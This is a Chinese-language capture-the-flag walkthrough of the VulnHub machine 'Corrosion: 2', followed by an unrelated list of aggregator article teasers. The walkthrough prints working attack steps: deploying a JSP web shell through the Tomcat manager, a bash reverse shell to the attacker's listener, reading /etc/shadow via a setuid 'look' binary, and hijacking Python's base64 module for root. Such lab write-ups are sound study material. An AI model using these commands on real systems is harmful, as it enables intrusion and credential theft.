[vulnhub] Corrosion: 2

https://www.vulnhub.com/entry/corrosion-2,745/

提示:枚举才是神

主机发现端口扫描

  1. 使用nmap扫描网段类存活主机

    因为靶机是我最后添加的,所以靶机IP是6kali10

    nmap -sP 192.168.56.0/24
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:50 CST
    Nmap scan report for 192.168.56.1
    Host is up (0.00048s latency).
    MAC Address: 0A:00:27:00:00:14 (Unknown)
    Nmap scan report for 192.168.56.2
    Host is up (0.00040s latency).
    MAC Address: 08:00:27:E5:3B:06 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.6
    Host is up (0.00055s latency).
    MAC Address: 08:00:27:0A:3A:6B (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.10
    
  2. 扫描主机开放端口

    nmap -sT -min-rate 10000 -p- 192.168.56.6  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:51 CST
    Nmap scan report for 192.168.56.6
    Host is up (0.00032s latency).
    Not shown: 65532 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    8080/tcp open  http-proxy
    
  3. 扫描主机服务版本以及系统版本

    nmap -sV -sT -O -p 80,22,8080 192.168.56.6  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:52 CST
    Nmap scan report for 192.168.56.6
    Host is up (0.00052s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
    8080/tcp open  http    Apache Tomcat 9.0.53
    MAC Address: 08:00:27:0A:3A:6B (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 5.X
    OS CPE: cpe:/o:linux:linux_kernel:5
    OS details: Linux 5.0 - 5.5
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 80,22,8080 192.168.56.6  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:52 CST
    Nmap scan report for 192.168.56.6
    Host is up (0.00053s latency).
    
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    |_http-csrf: Couldn't find any CSRF vulnerabilities.
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    8080/tcp open  http-proxy
    | http-enum: 
    |   /backup.zip: Possible backup
    |   /examples/: Sample scripts
    |   /manager/html/upload: Apache Tomcat (401 )
    |   /manager/html: Apache Tomcat (401 )
    |_  /docs/: Potentially interesting folder
    MAC Address: 08:00:27:0A:3A:6B (Oracle VirtualBox virtual NIC)
    

web渗透

80 端口

  1. 访问主页是Apache默认页面

  2. 扫描目录

    gobuster dir -u http://192.168.56.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,zip
    ,txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.56.6
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              php,html,zip,txt
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /.html                (Status: 403) [Size: 277]
    /index.html           (Status: 200) [Size: 10918]
    /.html                (Status: 403) [Size: 277]
    /server-status        (Status: 403) [Size: 277]
    Progress: 1102800 / 1102805 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    

    没扫描出什么,先放着

8080 端口

  1. 访问时Tomcat的默认页面

    在这里插入图片描述

  2. 二话不说,扫目录

    gobuster dir -u http://192.168.56.6:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,zip,txt                                                                 22:05:48 [45/161]
    ===============================================================                                                                                                                                                   
    Gobuster v3.6                                                                                                                                                                                                     
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                                                                     
    ===============================================================                                                                                                                                                   
    [+] Url:                     http://192.168.56.6:8080                                                                                                                                                             
    [+] Method:                  GET                                                                                                                                                                                  
    [+] Threads:                 10                                                                                                                                                                                   
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                                                                                                                         
    [+] Negative Status codes:   404                                                                                                                                                                                  
    [+] User Agent:              gobuster/3.6                                                                                                                                                                         
    [+] Extensions:              php,html,zip,txt                                                                                                                                                                     
    [+] Timeout:                 10s                                                                                                                                                                                  
    ===============================================================                                                                                                                                                   
    Starting gobuster in directory enumeration mode                                                                                                                                                                   
    ===============================================================                                                                                                                                                   
    /docs                 (Status: 302) [Size: 0] [--> /docs/]                                                                                                                                                        
    /examples             (Status: 302) [Size: 0] [--> /examples/]                                                                                                                                                    
    /backup.zip           (Status: 200) [Size: 33723]                                                                                                                                                                 
    /readme.txt           (Status: 200) [Size: 153]                                                                                                                                                                   
    /manager              (Status: 302) [Size: 0] [--> /manager/] 
    /RELEASE-NOTES.txt    (Status: 200) [Size: 6898]
    Progress: 1102800 / 1102805 (100.00%)                                                                    
    ===============================================================                                                                                                                                                   
    Finished                                            
    =============================================================== 
    

    我已经把404状态码的过滤了

    • /docstomcat的文档

    • /examples/tomcat例子

    • /backup.zip 压缩包内容应该是备份的,解压需要密码

    • readme.txt 我以为是官方文档

      Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it.
      Also remember to use that password I gave you.
      嘿,兰迪!我是你的系统管理员。我在服务器上给你留了一个文件,我相信没人能找到它。
      另外记得使用我给你的密码
      
    • /manager 需要提供账号密码

  3. 暂时没什么线索,想尝试爆破出压缩包的密码

    • 使用fcrackzip

      crackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
      
      PASSWORD FOUND!!!!: pw == @administrator_hi5
      

      解出密码 @administrator_hi5

    • 解压压缩包,输出破解出的密码

      unzip backup.zip -d backup  
      Archive:  backup.zip
      [backup.zip] catalina.policy password: 
        inflating: backup/catalina.policy  
        inflating: backup/context.xml      
        inflating: backup/catalina.properties  
        inflating: backup/jaspic-providers.xml  
        inflating: backup/jaspic-providers.xsd  
        inflating: backup/logging.properties  
        inflating: backup/server.xml       
        inflating: backup/tomcat-users.xml  
        inflating: backup/tomcat-users.xsd  
        inflating: backup/web.xml
      
  4. 解压后发现存在tomcat-users.xml以及tomcat-users.xsd ,配置tomcat用户及其角色,通常用于管理后台的访问权限

    <role rolename="manager-gui"/>
    <user username="manager" password="melehifokivai" roles="manager-gui"/>
    
    <role rolename="admin-gui"/>
    <user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
    

    的到密码melehifokivai ,两个用户名adminmanager ,均尝试了ssh登录无果

  5. 访问/manager 提交得到的账号密码,成功进入使用了adminmelehifokivai

    在这里插入图片描述

后台利用

  1. 进入了tomcat的后台,涉及到tomcat后台的利用

    https://blog.csdn.net/weixin_41924764/article/details/108196725

    https://blog.csdn.net/qq_43615820/article/details/116357744 这里使用的是JSP的一句话木马

  2. 复制恶意代码存为文件2131.jsp ,并使用jar制作war

    jar cvf 2131.war 2131.jsp
    
  3. 然后上传war

    在这里插入图片描述

  4. 上传之后使用蚁🗡连接,测试成功

    在这里插入图片描述

  5. 使用蚁🗡虚拟终端进行反弹shell ,同时kali开启监听

    (tomcat:/bin/sh: ) $ bash -c 'bash -i >& /dev/tcp/192.168.56.10/1234 0>&1'
    
    nc -lvp 1234                             
    listening on [any] 1234 ...
    192.168.56.6: inverse host lookup failed: Unknown host
    connect to [192.168.56.10] from (UNKNOWN) [192.168.56.6] 58882
    bash: cannot set terminal process group (1277): Inappropriate ioctl for device
    bash: no job control in this shell
    tomcat@corrosion:/var/spool/cron$ 
    

    获得shell!!!

提权 - tomcat用户

  1. 查看权限

    tomcat@corrosion:/var/spool/cron$ whoami
    tomcat
    tomcat@corrosion:/var/spool/cron$ id
    uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
    tomcat@corrosion:/var/spool/cron$ uname -a
    Linux corrosion 5.11.0-34-generic #36~20.04.1-Ubuntu SMP Fri Aug 27 08:06:32 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    
  2. 寻找敏感目录

    • 家目录下存在jaye文件夹和randy文件夹,其中jaye没有访问权限,只能看randy的文件夹
      • note.txt

        tomcat@corrosion:/home/randy$ cat note.txt 
        Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know
        that I changed your permissions for your home directory. You won't be able to remove or add files for now.
        
        I will change these permissions later on.
        
        See you next Monday randy!
        嘿 randy 我是你的系统管理员,希望你今天过得愉快!我只是想让你知道
        我更改了你的主目录的权限。你现在无法删除或添加文件。
        
        我稍后会更改这些权限。
        
        下周一见 randy!
        
      • randombase64.py

        tomcat@corrosion:/home/randy$ cat randombase64.py 
        import base64
        message = input("Enter your string: ")
        message_bytes = message.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')
        print(base64_message)
        tomcat@corrosion:/home/randy$ 
        
      • user.txt

        tomcat@corrosion:/home/randy$ cat user.txt
        ca73a018ae6908a7d0ea5d1c269ba4b6
        
  3. 操作了一番还是没找到提权的地方,记得之前给了一串密码melehifokivai ,只尝试了randy的用户还有jaye账号的没尝试

    尝试在jaye使用ssh登录

    ssh jaye@192.168.56.6
    jaye@192.168.56.6's password: 
    Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    19 updates can be applied immediately.
    To see these additional updates run: apt list --upgradable
    
    The list of available updates is more than a week old.
    To check for new updates run: sudo apt update
    $ 
    
    

    登陆成功

提权 - jaye用户

  1. 寻找敏感文件

    • 在家目录下存在Files文件夹权限是root的,里边存在个可执行文件look ,是root权限的,并且我们拥有执行权限,这样我们就可以使用look命令来读取shadow文件的内容了

      ---s--s--x  1 root root 14728 Sep 17  2021 look
      
  2. 使用look命令读取shadow文件,读取root用户以及randy用户

    ./look -f "root" /etc/shadow
    root:$6$fHvHhNo5DWsYxgt0$.3upyGTbu9RjpoCkHfW.1F9mq5dxjwcqeZl0KnwEr0vXXzi7Tld2lAeYeIio/9BFPjUCyaBeLgVH1yK.5OR57.:18888:0:99999:7:::
    ./look -f "randy" /etc/shadow
    randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
    

    保存为pass文件放到john进行爆破,破解了五个多小时,仅破解了randy用户的密码

    07051986randy (randy)
    
  3. 使用密码登录ssh

    ssh randy@192.168.56.6
    randy@192.168.56.6's password: 
    Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    19 updates can be applied immediately.
    To see these additional updates run: apt list --upgradable
    
    The list of available updates is more than a week old.
    To check for new updates run: sudo apt update
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    

提权 - randy用户

  1. 查看权限

    randy@corrosion:~$ sudo -l
    [sudo] password for randy: 
    Matching Defaults entries for randy on corrosion:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User randy may run the following commands on corrosion:
        (root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
    
  2. 查看/home/randy/randombase64.py 是否拥有修改权限

    -rwxr-xr-x  1 root  root   210 Sep 20  2021 randombase64.py
    

    不能直接写入命令

  3. 我们知道它使用了base64模块,我们直接去修改base64模块

    randy@corrosion:~$ ls -al /usr/lib/python3.8/base64.py 
    -rwxrwxrwx 1 root root 20386 Sep 20  2021 /usr/lib/python3.8/base64.py
    

    刚好也拥有权限,修改文件

    # nano /usr/lib/python3.8/base64.py
    import os
    .... 省略
    def b64encode(s, altchars=None):
        os.system("/bin/bash")
    

    需要写在b64encode 函数里边是因为它文件(randombase64.py)里面调用了该函数

  4. 执行文件randombase64.py

    randy@corrosion:~$ sudo /usr/bin/python3.8 /home/randy/randombase64.py
    Enter your string: 1
    root@corrosion:/home/randy# 
    

    获得root用户!!!

  5. 读取flag文件

    root@corrosion:~# cat root.txt
    2fdbf8d4f894292361d6c72c8e833a4b
    

总结

学到tomcat后台提权方法,其实不止上传war方法,也可以直接使用MSF,不过使用方法是一样的,但是方便

以及提权,我们可以直接使用look来读取root的flag文件的,并且在laye用户也可以使用**polkit-agent-helper-1** 来提权的,不过拿到root权限不是更好吗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/913911.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL数据库的备份与还原

目录 mysql 数据库的备份 生成SQL脚本 1 在控制台使用mysqldump命令可以用来生成指定数据库的脚本 ​编辑2 在数据库图形化界面工具&#xff1a;DateGrip 中操作&#xff1a;导出 mysql 数据库的还原 执行SQL脚本 1 在控制台使用 命令&#xff0c;指定将sql脚本导入到指定…

ASR 点亮闪光灯和后摄对焦马达

ASR翱捷科技 ASR kernel 5.10 android14 ASR EVB平台 ASR 原理图 闪光灯是gpio控制 1.驱动 路径:asr\kernel\linux\drivers\media\platform\asr-mars11\flash\leds-gpio-flash.c 驱动加载后生成设备节点/sys/class/leds/torch 和/sys/class/leds/flash。 Makefile Kconfig…

【大数据学习 | HBASE】hbase的读数据流程与hbase读取数据

1. hbase的读数据流程 在解析读取流程之前我们还需要知道两个功能性的组件和HFIle的格式信息 HFILE 存储在hdfs中的hbase文件&#xff0c;这个文件中会存在hbase中的数据以kv类型显示&#xff0c;同时还会存在hbase的元数据信息&#xff0c;包括整个hfile文件的索引大小&…

【GPTs】MJ Prompt Creator:轻松生成创意Midjourney提示词

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | GPTs应用实例 文章目录 &#x1f4af;GPTs指令&#x1f4af;前言&#x1f680; MJ Prompt Creator主要功能适用场景优点缺点 &#x1f4af; 小结 &#x1f4af;GPTs指令 中文翻译&#xff1a; 任务说明 您是一款为幻灯片…

实现3D热力图

实现思路 首先是需要用canvas绘制一个2D的热力图&#xff0c;如果你还不会&#xff0c;请看json绘制热力图。使用Threejs中的canvas贴图&#xff0c;将贴图贴在PlaneGeometry平面上。使用着色器材质&#xff0c;更具json中的数据让平面模型 拔地而起。使用Threejs内置的TWEEN&…

ATom: 矿物粉尘在卷云形成中的主导作用

目录 ATom: Dominant Role of Mineral Dust in Cirrus Cloud Formation 简介 摘要 代码 引用 网址推荐 知识星球 机器学习 ATom: Dominant Role of Mineral Dust in Cirrus Cloud Formation 简介 该数据集提供了&#xff1a;&#xff08;1&#xff09;由 NOAA 粒子分析…

C语言 | Leetcode C语言题解之第560题和为K的子数组

题目&#xff1a; 题解&#xff1a; // 暴力美学&#xff1a;20行C代码 int subarraySum(int *nums, int numsSize, int k) {int count 0;// 弄个大数组做个暴力的Hash表&#xff0c;大概4*20M*2160M。用calloc初始化为全零。int *maps (int *)calloc(1001 * 20001 * 2, siz…

基于vue框架的的社区居民服务管理系统8w86o(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;居民,楼房信息,报修信息,缴费信息,维修进度 开题报告内容 基于Vue框架的社区居民服务管理系统开题报告 一、研究背景与意义 随着城市化进程的加速&#xff0c;社区居民数量激增&#xff0c;社区管理面临着前所未有的挑战。传统的社区…

UE5.4 PCG 自定义PCG蓝图节点

ExecuteWithContext&#xff1a; PointLoopBody&#xff1a; 效果&#xff1a;点密度值与缩放成正比

[ Linux 命令基础 2 ] Linux 命令详解-系统管理命令

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

单链表算法题(数据结构)

1. 反转链表 https://leetcode.cn/problems/reverse-linked-list/description/ 题目&#xff1a; 看到这个题目的时候我们怎么去想呢&#xff1f;如果我们反应快的话&#xff0c;应该可以想到我们可以从1遍历到5然后依次头插&#xff0c;但是其实我们还有更好的办法&#xff…

Java代码审计-模板注入漏洞

一、模板引擎 在Java开发当中&#xff0c;为了将前端和后端进行分离&#xff0c;降低项目代码的耦合性&#xff0c;使代码更加易于维护和管理。除去以上的原因&#xff0c;模板引擎还能实现动态和静态数据的分离。 二、主流模板引擎 在Java中&#xff0c;主流的模板引擎有:Fre…

SQLI LABS | Less-39 GET-Stacked Query Injection-Intiger Based

关注这个靶场的其它相关笔记&#xff1a;SQLI LABS —— 靶场笔记合集-CSDN博客 0x01&#xff1a;过关流程 输入下面的链接进入靶场&#xff08;如果你的地址和我不一样&#xff0c;按照你本地的环境来&#xff09;&#xff1a; http://localhost/sqli-labs/Less-39/ 本关是堆…

《深度学习》——深度学习基础知识(全连接神经网络)

文章目录 1.神经网络简介2.什么是神经网络3.神经元是如何工作的3.1激活函数3.2参数的初始化3.2.1随机初始化3.2.2标准初始化3.2.3Xavier初始化&#xff08;tf.keras中默认使用的&#xff09;3.2.4He初始化 4.神经网络的搭建4.1通过Sequential构建神经网络4.2通过Functional API…

备战软考Day05-数据库系统基础知识

一、基本概念 1.数据库 数据库(Database&#xff0c;缩写为DB)是指长期存储在计算机内的、有组织的、可共享的数据集合。数据库中的数据按一定的数据模型组织、描述和存储&#xff0c;具有较小的冗余度、较高的数据独立性和易扩展性&#xff0c;并可为各种用户共享。 2.数据…

Spark 的容错机制:保障数据处理的稳定性与高效性

Spark 的介绍与搭建&#xff1a;从理论到实践_spark环境搭建-CSDN博客 Spark 的Standalone集群环境安装与测试-CSDN博客 PySpark 本地开发环境搭建与实践-CSDN博客 Spark 程序开发与提交&#xff1a;本地与集群模式全解析-CSDN博客 Spark on YARN&#xff1a;Spark集群模式…

NLP论文速读(NeurIPS2024)|使用视觉增强的提示来增强视觉推理

论文速读|Enhancing LLM Reasoning via Vision-Augmented Prompting 论文信息&#xff1a; 简介: 这篇论文试图解决的问题是大型语言模型&#xff08;LLMs&#xff09;在处理包含视觉和空间线索的推理问题时的局限性。尽管基于LLMs的推理框架&#xff08;如Chain-of-Thought及其…

在 RHEL 8 | CentOS Linux release 8.5.2111上安装 Zabbix 6

1. 备份YUM源文件 cd /etc/yum.repos.d/ mkdir bak mv C* ./bak/ wget -O /etc/yum.repos.d/CentOS-Linux-BaseOS.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo yum clean all yum makecache2. 将 SELinux 设置为宽容模式&#xff0c;如下所示。 sudo s…

在 Mac 和 Windows 系统中快速部署 OceanBase

OceanBase 是一款分布式数据库&#xff0c;具备出色的性能和高扩展性&#xff0c;可以为企业用户构建稳定可靠、灵活扩展性能的数据库服务。本文以开发者们普遍熟悉的Windows 或 Mac 环境为例&#xff0c;介绍如何快速上手并体验OceanBase。 一、环境准备 1. 硬件准备 OceanB…

【jenkins】jenkins使用pipeline配置django项目

目录 一、部署jenkins 二、配置 2.1 获取gitee账户凭证 2.2 安装pipeline插件 三、创建一个流水线项目 四、选择创建的项目 4.1 源码设置 4.2 配置 前言&#xff1a;个人使用&#xff0c;比较简单&#xff0c;做个笔记&#xff0c;这里我使用的是gitee作为仓库 一、部署…